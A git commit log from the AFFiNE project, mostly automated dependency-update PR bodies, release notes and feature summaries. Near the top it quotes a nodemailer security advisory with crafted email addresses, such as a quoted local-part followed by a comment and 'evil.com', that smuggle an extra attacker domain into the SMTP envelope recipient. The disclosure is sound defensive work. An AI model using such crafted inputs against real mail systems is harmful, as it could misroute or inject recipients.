[https://github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe](https://redirect.github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.0.2)
-
[https://github.com/advisories/GHSA-6vj9-mwq6-2f5v](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-6vj9-mwq6-2f5v)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Nodemailer: Quoted local-part can produce malformed envelope
recipient through RFC 5322 comment parsing

[GHSA-g57g-f23g-4646](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646)

<details>
<summary>More information</summary>

#### Details
##### Summary

Nodemailer's address parser can produce an unexpected recipient address
when an RFC 5322 comment follows the domain of an address whose
local-part is a quoted string.

For example:

```text
"user"@example.com(x)evil.com
```

is parsed as:

```text
{
  address: "user@example.com evil.com",
  name: ""
}
```

The resulting address therefore contains additional attacker-controlled
domain text separated by a literal space.

The parsed `.address` value is subsequently propagated into the SMTP
envelope:

```text
src/addressparser/index.ts
        ↓
recipient.address
        ↓
src/mime-node/index.ts
        ↓
envelope.to
```

The envelope construction uses the parsed address without another strict
address validation step.

This appears to be a variant of the RFC 5322 comment parsing issue
addressed by GHSA-cc9r-2j5m-2m83, but it follows a different parser path
when the local-part is quoted.

##### Reproduction

Input:

```text
"user"@example.com(x)evil.com
```

Observed parser output:

```text
address: "user@example.com evil.com"
name: ""
```

A second example:

```text
"a"@b.com(c)d.com(e)f.com
```

produces:

```text
address: "a@b.com d.com f.com"
name: ""
```

For comparison, the corresponding unquoted form:

```text
user@example.com(x)evil.com
```

takes a different code path and is handled by the existing protection
differently.

##### Technical Details

The issue is caused by different parsing behavior for quoted and
unquoted local-parts.

The quoted-local-part variant allows the comment-separated trailing
domain atoms to remain in the resulting `.address` value.

That value is then used when constructing the message envelope:

```text
envelope.to = recipients.map(to => to.address as string)
```

No additional strict recipient validation is performed at this boundary.

##### Security Impact

The confirmed impact is that attacker-controlled comment content can
result in a malformed/ambiguous recipient address being accepted by the
parser and propagated into `envelope.to`.

The reporter did **not confirm successful delivery to an unintended
recipient through a real SMTP server using this exact quoted-local-part
variant**.

The remaining question is how real SMTP servers and other Nodemailer
transports handle an envelope recipient containing a value such as:

```text
user@example.com evil.com
```

An end-to-end SMTP test is required to determine whether this parser
behavior results in an exploitable delivery or recipient-validation
bypass.

##### Relationship to GHSA-cc9r-2j5m-2m83

This report is intended as a potential variant/follow-up to
GHSA-cc9r-2j5m-2m83.

The existing advisory addresses RFC 5322 comment handling in email
domains. This report identifies a separate parser path involving quoted
local-parts that can preserve additional domain-like content in the
normalized address.

Please evaluate whether this behavior is already covered by the existing
fix or represents a remaining parser variant.

##### Suggested Fix

The parser should consistently reject or correctly terminate addresses
containing trailing domain atoms after RFC 5322 comments, regardless of
whether the local-part is quoted.

In particular:

```text
"user"@example.com(x)evil.com
```

should not result in:

```text
user@example.com evil.com
```

The envelope-generation layer should also avoid assuming that a
parser-produced address is safe for SMTP delivery without appropriate
validation.

##### Verification Status

Confirmed:

* Parser accepts the quoted-local-part variant.
* Parser produces an address containing additional attacker-controlled
text.
* The resulting address is propagated into `envelope.to`.

Not confirmed by reporter:

* Successful delivery through a real SMTP server.
* Delivery to an unintended recipient.
* Exploitability against a specific downstream SMTP implementation.

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-g57g-f23g-4646)
-
[https://github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee](https://redirect.github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v10.0.9](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.0.9)
-
[https://github.com/advisories/GHSA-g57g-f23g-4646](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-g57g-f23g-4646)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v10.0.9`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1009-2026-09-12)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.8...v10.0.9)

##### Bug Fixes

- **addressparser:** bound the '@&#8203;' probe to the run being scanned
([1465c3f](https://redirect.github.com/nodemailer/nodemailer/commit/1465c3f5ff74a7c4fbbe9853bd01448bb92bf5b7))
- **addressparser:** keep the text after a comment out of a quoted local
part address
([2f36eb1](https://redirect.github.com/nodemailer/nodemailer/commit/2f36eb1aa1dd33e312411dc9b888548e14db54ee))

###
[`v10.0.8`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1008-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.7...v10.0.8)

##### Bug Fixes

- **mime-node:** clean the boundary where it is written, not only where
it is built
([e14278d](https://redirect.github.com/nodemailer/nodemailer/commit/e14278d2dae9427280c79450605a27b1c5d2c355))
- **mime-node:** drop every control character from multipart boundary
material
([a82a355](https://redirect.github.com/nodemailer/nodemailer/commit/a82a35554848a2e07485ff81f80aefe2736e5a04))

###
[`v10.0.7`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1007-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.6...v10.0.7)

##### Bug Fixes

- **mime-funcs:** do not double encode Buffer input when chunking base64
mime words
([#&#8203;1865](https://redirect.github.com/nodemailer/nodemailer/issues/1865))
([4327a59](https://redirect.github.com/nodemailer/nodemailer/commit/4327a59939748a7f9394b0a029495fd476f68f30))
- **mime-node:** keep a boundary that is only line breaks from stripping
to empty
([ec46800](https://redirect.github.com/nodemailer/nodemailer/commit/ec46800cdcab734d9aa79e1278e819962b3b8f09))
- **mime-node:** strip line breaks from multipart boundary material
([#&#8203;1867](https://redirect.github.com/nodemailer/nodemailer/issues/1867))
([03c1a5c](https://redirect.github.com/nodemailer/nodemailer/commit/03c1a5c48b6828d9392983d8718fdb1fd583a06c))
- **smtp-pool:** release rate-limited connections on close
([#&#8203;1866](https://redirect.github.com/nodemailer/nodemailer/issues/1866))
([7f5c7a4](https://redirect.github.com/nodemailer/nodemailer/commit/7f5c7a46b61da9f5c5feaffd921c55b9d5892ee5))

###
[`v10.0.6`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1006-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.5...v10.0.6)

##### Bug Fixes

- **addressparser:** scan free text for an address in linear time
([437d7fc](https://redirect.github.com/nodemailer/nodemailer/commit/437d7fc47403df176bc39271641541b7a9bce102))

###
[`v10.0.5`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1005-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.4...v10.0.5)

##### Bug Fixes

- **addressparser:** parse comment-joined addresses in linear time
([c07f175](https://redirect.github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89))

###
[`v10.0.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1004-2026-09-11)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.3...v10.0.4)

##### Bug Fixes

- **fetch:** scope a cookie without a Path to the RFC 6265 default path
([2f907cb](https://redirect.github.com/nodemailer/nodemailer/commit/2f907cb71396860d0b2534dc72c3d252ef16339d))
- **fetch:** send cookies set with Path back to the exact path
([#&#8203;1861](https://redirect.github.com/nodemailer/nodemailer/issues/1861))
([d557113](https://redirect.github.com/nodemailer/nodemailer/commit/d5571139750de47abbac73a3b07ae90ff39a7bdd))
- **mail-composer:** keep httpHeaders and tls for href alternatives and
icalEvent
([#&#8203;1862](https://redirect.github.com/nodemailer/nodemailer/issues/1862))
([7f502be](https://redirect.github.com/nodemailer/nodemailer/commit/7f502bee4a6b0386099c66c0a35d92850ec462f7))
- resolve well-known services by their primary domains
([#&#8203;1859](https://redirect.github.com/nodemailer/nodemailer/issues/1859))
([085f525](https://redirect.github.com/nodemailer/nodemailer/commit/085f525e6b292f0ca32ab1b20d4a4ee82fc40e2d))
- **ses-transport:** throw a configuration error when the SES client is
missing
([#&#8203;1863](https://redirect.github.com/nodemailer/nodemailer/issues/1863))
([4d9c4c9](https://redirect.github.com/nodemailer/nodemailer/commit/4d9c4c966aaca61ff6d7649a1ac0aa0ceac6ef1e))

###
[`v10.0.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1003-2026-09-10)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.2...v10.0.3)

##### Bug Fixes

- **fetch:** honor the cookie Domain attribute without accepting public
suffixes
([1608391](https://redirect.github.com/nodemailer/nodemailer/commit/1608391ff4ccd5422a88e4cf760b26068aad6d39)),
closes
[#&#8203;1856](https://redirect.github.com/nodemailer/nodemailer/issues/1856)

###
[`v10.0.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1002-2026-09-09)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.1...v10.0.2)

##### Bug Fixes

- **mime-node:** flatten nested recipient arrays without recursion
([ebe0849](https://redirect.github.com/nodemailer/nodemailer/commit/ebe084940aef88278afc6016b78c6d1c3821bb66))
- **shared:** keep the TLS server name out of the DNS cache
([a6512db](https://redirect.github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe))

###
[`v10.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1001-2026-09-07)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.0...v10.0.1)

##### Bug Fixes

- **types:** accept an explicit undefined for optional properties
([209719d](https://redirect.github.com/nodemailer/nodemailer/commit/209719dd6a192656a6b18de265a3b4ac387208ff)),
closes
[#&#8203;1853](https://redirect.github.com/nodemailer/nodemailer/issues/1853)
- **types:** drop the internal members from the published declarations
([81e64ea](https://redirect.github.com/nodemailer/nodemailer/commit/81e64eaee70aabf867afef88d3733556c9fcc1cc))

###
[`v10.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1000-2026-09-03)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.1.1...v10.0.0)

##### ⚠ BREAKING CHANGES

- Node.js 20 or newer is required. The Node.js 6 syntax compatibility
check and the .npmignore file are gone.

##### Features

- keep the
[@&#8203;types/nodemailer](https://redirect.github.com/types/nodemailer)
type layout working
([1cc5356](https://redirect.github.com/nodemailer/nodemailer/commit/1cc535627e1bb672214b09fa4cc503567275fd7f))
- migrate to TypeScript with ES module and CommonJS builds
([f7cbf83](https://redirect.github.com/nodemailer/nodemailer/commit/f7cbf8384e0ea6055efcc514afb8bc070ac3a2b1))

##### Bug Fixes

- apply the other keys of a configuration object next to its url
([29610f9](https://redirect.github.com/nodemailer/nodemailer/commit/29610f9fe04dbd8af04c4a3362f3b68d293592da))
- **dkim:** canonicalize raw messages the way verifiers do
([2c84b11](https://redirect.github.com/nodemailer/nodemailer/commit/2c84b117d4d138751e9ffa8607f3796771bb5e66))
- keep a transporter assignable to the plain Transporter type
([8bf55fb](https://redirect.github.com/nodemailer/nodemailer/commit/8bf55fb177cf155b24d6bb86a7cd86670146d551))
- **shared:** keep a colon in the user name of a connection or proxy url
([6acf4b6](https://redirect.github.com/nodemailer/nodemailer/commit/6acf4b67d919971f516f58940113c9b8598b2254))
- **shared:** refuse URL hosts the legacy parser would truncate
([17a5068](https://redirect.github.com/nodemailer/nodemailer/commit/17a5068f06e62fc04e1d5545ed70d4248bef258e))
- **shared:** resolve hostnames when the runtime has no interface table
([8b03240](https://redirect.github.com/nodemailer/nodemailer/commit/8b032407135ea05ae377e623a7021705a4a139d0))
- **smtp-connection:** clear the timers of a connection dropped before
the greeting
([01dcaa0](https://redirect.github.com/nodemailer/nodemailer/commit/01dcaa05b212aafc33747041027fb8c66497e0eb))
- **smtp-connection:** keep an incomplete server reply out of
lastServerResponse
([1a6e427](https://redirect.github.com/nodemailer/nodemailer/commit/1a6e4271adb808509adf11832ad1adfdfc05c31b))
- **smtp-pool:** free the pool slot when the proxy socket can not be
opened
([204a344](https://redirect.github.com/nodemailer/nodemailer/commit/204a344f7e4068ff41385195ee394a223ebadd84))
- **well-known:** keep nodemailer/lib/well-known/services.json available
([367730c](https://redirect.github.com/nodemailer/nodemailer/commit/367730cce85bc78c7804405c2cc7d89d93aafdd1))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMjUuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEyNS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-07 02:11:38 +08:00
DarkSky 7dd71162b5 feat(native): support multi remote source (#15642) 2026-09-25 20:27:16 +08:00
DarkSky d897bb3d84 chore: bump deps (#15624) 2026-09-20 13:01:49 +08:00
keepClamDownandDarkSky 2af30773ae feat(ios): add stable Share Extension imports (#15547)
## Summary

The changes below are prepared locally and have not been committed or
pushed.

- Save original URLs, user titles, selected text, images and PDFs
through a versioned, file-backed Share Inbox. Stable document/attempt
IDs, serialized imports and committed receipts make retries preserve
user edits and recover native completion.
- Keep rich previews transient. Share previews request transcript
excerpts, clip optional display fields and bound response/image
downloads. Saving does not wait for preview requests or persist provider
metadata, transcript snapshots or dedicated preview blobs.
- Restore the minimal App Group workspace-mode snapshot and
`official`/`deferred` route. Official routes remain fixed for the
pending share; deferred self-hosted previews use the selected server
without a provider fallback.
- Let bookmark and YouTube details read the current workspace's Link
Preview API by URL. Full transcripts, chapters and timestamps load on
expansion without document writes. Reuse editor styles and the existing
portal for canvas details; isolate endpoint/base/transcript caches and
keep transcript results out of persistent cache.

## Validation

- Focused frontend suites: 128 tests passed; the 43 preview/details
cases also passed after the final portal change.
- `ShareInboxSafetyTests`: 57 tests passed on iOS 26.5 simulator.
- `yarn typecheck` and full `yarn lint` passed.
- iOS web bundle, Capacitor asset copy, and signed simulator App build
with embedded ShareExtension passed.
- Browser component checks: desktop, narrow viewport, light/dark themes,
full transcript scrolling, canvas portal positioning and Escape
dismissal.
- Simulator Safari share: rich preview, cancellation, native-to-app
handoff, workspace selection and successful save. The pending manifest
contained original content and routing only, and was removed after
import.

Physical-device and network-capture matrices remain manual. The
simulator YouTube iframe displayed player error 153; this is separate
from the successful preview/import checks and video playback is not
claimed as verified.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* iOS sharing now supports PDF files alongside images, with previews and
attachment validation.
* Share imports offer improved workspace selection, offline handling,
retry recovery, and clearer error messages.
* Link previews can display expandable metadata and transcript details
for bookmarks and YouTube embeds.
* Share inbox entries now identify unsupported versions and provide
safer attachment resolution.

* **Bug Fixes**
* Improved cancellation, cleanup, and stale-request handling during
sharing and importing.
* Enhanced link-preview validation and protection against oversized or
invalid responses.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: DarkSky <darksky2048@gmail.com>
2026-09-15 14:55:04 +08:00
DarkSky 8c5937111b feat(server): migrate legacy impl (#15571)
#### PR Dependency Tree


* **PR #15571** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added Copilot session attachments, scoped access controls,
personal-workspace support, and automatic title generation.
- Added self-hosted license compatibility, license portal access, and
external license-key configuration.
- Added reservation-based storage uploads and workspace storage
reconciliation.
- Added permissions for previews, history, analytics, moderation, and
workspace storage.

- **Changes**
- Removed the admin queue dashboard and queue-based background
processing.
- Updated blob, comment-attachment, payment, and calendar
synchronization workflows.
- Improved redirect validation, preview indexing, and synchronization
error reporting.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-09-08 23:21:00 +08:00
DarkSky 8e8a781ed1 feat(editor): improve html content color mapping (#15516)
fix #15514

#### PR Dependency Tree


* **PR #15516** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
  * Improved color handling when importing HTML content.
* Added support for hex, RGB/RGBA, percentage, alpha, transparent,
named, and HSL color values.
  * Correctly maps supported colors to the app’s color themes.
* Prevents invalid, translucent, or unsuitable colors from being
applied.
  * Preserves style values containing additional colons during import.
* Improved imported text formatting for supported and unsupported
colors.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-24 10:52:02 +08:00
DarkSky 6375f5ab8c chore: bump typescript 7 (#15465) 2026-08-11 03:09:54 +08:00
DarkSky 0c7b20dc18 chore: migrate oxlint & oxfmt (#15464)
#### PR Dependency Tree


* **PR #15464** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Replaced the project’s formatting and linting workflow with Oxfmt and
Oxlint.
* Added shared formatting and linting configuration, editor integration,
and updated automated checks.
* Updated generated files, scripts, and lint guidance to use the new
tooling.

* **Style**
* Reformatted templates, source code, examples, and configuration files
for consistent readability.
  * No user-facing functionality or rendering behavior changed.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-08-10 23:51:28 +08:00
renovate[bot] 25de261c9e chore: bump up nestjs (#15457)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@nestjs/apollo](https://redirect.github.com/nestjs/graphql) |
[`13.4.2` →
`13.4.3`](https://renovatebot.com/diffs/npm/@nestjs%2fapollo/13.4.2/13.4.3)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fapollo/13.4.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fapollo/13.4.2/13.4.3?slim=true)
|
| [@nestjs/bullmq](https://redirect.github.com/nestjs/bull) | [`11.0.4`
→
`11.0.5`](https://renovatebot.com/diffs/npm/@nestjs%2fbullmq/11.0.4/11.0.5)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fbullmq/11.0.5?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fbullmq/11.0.4/11.0.5?slim=true)
|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.28` →
`11.1.29`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.28/11.1.29)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.29?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.28/11.1.29?slim=true)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.28` →
`11.1.29`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.28/11.1.29)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.29?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.28/11.1.29?slim=true)
|
| [@nestjs/graphql](https://redirect.github.com/nestjs/graphql) |
[`13.4.2` →
`13.4.3`](https://renovatebot.com/diffs/npm/@nestjs%2fgraphql/13.4.2/13.4.3)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fgraphql/13.4.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fgraphql/13.4.2/13.4.3?slim=true)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.28` →
`11.1.29`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.28/11.1.29)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.29?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.28/11.1.29?slim=true)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.28` →
`11.1.29`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.28/11.1.29)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.29?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.28/11.1.29?slim=true)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.28` →
`11.1.29`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.28/11.1.29)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.29?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.28/11.1.29?slim=true)
|

---

### Release Notes

<details>
<summary>nestjs/graphql (@&#8203;nestjs/apollo)</summary>

###
[`v13.4.3`](https://redirect.github.com/nestjs/graphql/compare/v13.4.2...v13.4.3)

[Compare
Source](https://redirect.github.com/nestjs/graphql/compare/v13.4.2...v13.4.3)

</details>

<details>
<summary>nestjs/bull (@&#8203;nestjs/bullmq)</summary>

###
[`v11.0.5`](https://redirect.github.com/nestjs/bull/releases/tag/%40nestjs/bullmq%4011.0.5)

[Compare
Source](https://redirect.github.com/nestjs/bull/compare/@nestjs/bullmq@11.0.4...@nestjs/bullmq@11.0.5)

#### What's Changed

- feat(bullmq): add telemetry support for workers by
[@&#8203;noeljackson](https://redirect.github.com/noeljackson) in
[#&#8203;2585](https://redirect.github.com/nestjs/bull/pull/2585)
- feat: add forceDisconnectOnShutdown option for graceful disconnection
by [@&#8203;heartz66](https://redirect.github.com/heartz66) in
[#&#8203;2674](https://redirect.github.com/nestjs/bull/pull/2674)
- feat: support bullmq v6 by
[@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec)

#### New Contributors

- [@&#8203;meteorlxy](https://redirect.github.com/meteorlxy) made their
first contribution in
[#&#8203;2632](https://redirect.github.com/nestjs/bull/pull/2632)
- [@&#8203;noeljackson](https://redirect.github.com/noeljackson) made
their first contribution in
[#&#8203;2585](https://redirect.github.com/nestjs/bull/pull/2585)
- [@&#8203;heartz66](https://redirect.github.com/heartz66) made their
first contribution in
[#&#8203;2674](https://redirect.github.com/nestjs/bull/pull/2674)

**Full Changelog**:
<https://github.com/nestjs/bull/compare/@nestjs/bull-shared@11.0.0...@&#8203;nestjs/bullmq@11.0.5>

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.29`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.29)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.28...v11.1.29)

#### What's Changed

- fix(core): stop import lookup after first direct export match by
[@&#8203;malekelkssas](https://redirect.github.com/malekelkssas) in
[#&#8203;17141](https://redirect.github.com/nestjs/nest/pull/17141)
- chore: update multerExceptions constant by
[@&#8203;bo0tzz](https://redirect.github.com/bo0tzz) in
[#&#8203;17328](https://redirect.github.com/nestjs/nest/pull/17328)
- fix(microservices): correct pub/sub client type in redis listeners by
[@&#8203;zaewc](https://redirect.github.com/zaewc) in
[#&#8203;17331](https://redirect.github.com/nestjs/nest/pull/17331)
- feat(common): add override mimetype option to file type validator by
[@&#8203;Ativ3k](https://redirect.github.com/Ativ3k) in
[#&#8203;17333](https://redirect.github.com/nestjs/nest/pull/17333)
- fix(core): drop the g flag from middleware overlap regexes by
[@&#8203;dchaudhari7177](https://redirect.github.com/dchaudhari7177) in
[#&#8203;17335](https://redirect.github.com/nestjs/nest/pull/17335)
- feat(core): support sse comments by
[@&#8203;kyu4583](https://redirect.github.com/kyu4583) in
[#&#8203;17327](https://redirect.github.com/nestjs/nest/pull/17327)
- fix(core): resolve barrier immediately when target count is zero by
[@&#8203;ikrbasak](https://redirect.github.com/ikrbasak) in
[#&#8203;17393](https://redirect.github.com/nestjs/nest/pull/17393)
- fix(common): exclude pipe options from validator options by
[@&#8203;coxxny](https://redirect.github.com/coxxny) in
[#&#8203;17399](https://redirect.github.com/nestjs/nest/pull/17399)
- fix(core): serialize SSE retry field when value is zero by
[@&#8203;kyu4583](https://redirect.github.com/kyu4583) in
[#&#8203;17360](https://redirect.github.com/nestjs/nest/pull/17360)
- fix(microservices): nullify grpcclient on close when tryshutdown fails
by [@&#8203;Se3do](https://redirect.github.com/Se3do) in
[#&#8203;17394](https://redirect.github.com/nestjs/nest/pull/17394)
- fix(express): map missing multer field nesting error by
[@&#8203;Se3do](https://redirect.github.com/Se3do) in
[#&#8203;17421](https://redirect.github.com/nestjs/nest/pull/17421)

#### New Contributors

- [@&#8203;malekelkssas](https://redirect.github.com/malekelkssas) made
their first contribution in
[#&#8203;17141](https://redirect.github.com/nestjs/nest/pull/17141)
- [@&#8203;hjc0930](https://redirect.github.com/hjc0930) made their
first contribution in
[#&#8203;17311](https://redirect.github.com/nestjs/nest/pull/17311)
- [@&#8203;bo0tzz](https://redirect.github.com/bo0tzz) made their first
contribution in
[#&#8203;17328](https://redirect.github.com/nestjs/nest/pull/17328)
- [@&#8203;Ativ3k](https://redirect.github.com/Ativ3k) made their first
contribution in
[#&#8203;17333](https://redirect.github.com/nestjs/nest/pull/17333)
- [@&#8203;dchaudhari7177](https://redirect.github.com/dchaudhari7177)
made their first contribution in
[#&#8203;17335](https://redirect.github.com/nestjs/nest/pull/17335)
- [@&#8203;kyu4583](https://redirect.github.com/kyu4583) made their
first contribution in
[#&#8203;17327](https://redirect.github.com/nestjs/nest/pull/17327)
- [@&#8203;anupamme](https://redirect.github.com/anupamme) made their
first contribution in
[#&#8203;17378](https://redirect.github.com/nestjs/nest/pull/17378)
- [@&#8203;ikrbasak](https://redirect.github.com/ikrbasak) made their
first contribution in
[#&#8203;17393](https://redirect.github.com/nestjs/nest/pull/17393)
- [@&#8203;beiifeng](https://redirect.github.com/beiifeng) made their
first contribution in
[#&#8203;17404](https://redirect.github.com/nestjs/nest/pull/17404)
- [@&#8203;coxxny](https://redirect.github.com/coxxny) made their first
contribution in
[#&#8203;17399](https://redirect.github.com/nestjs/nest/pull/17399)

**Full Changelog**:
<https://github.com/nestjs/nest/compare/v11.1.28...v11.1.29>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMi4wIiwidXBkYXRlZEluVmVyIjoiNDQuMTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-10 19:34:24 +08:00
DarkSky 386e92acb6 feat: update schema & bump deps (#15455)
#### PR Dependency Tree


* **PR #15455** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

- **New Features**
- Added workspace artifact management, artifact details, and removal
support.
- Added workspace BYOK configuration insights, model capabilities,
connection checks, and validation status.
  - Added profile reordering and credential revision safeguards.
- **Improvements**
- Improved Copilot session creation with server-provided history and
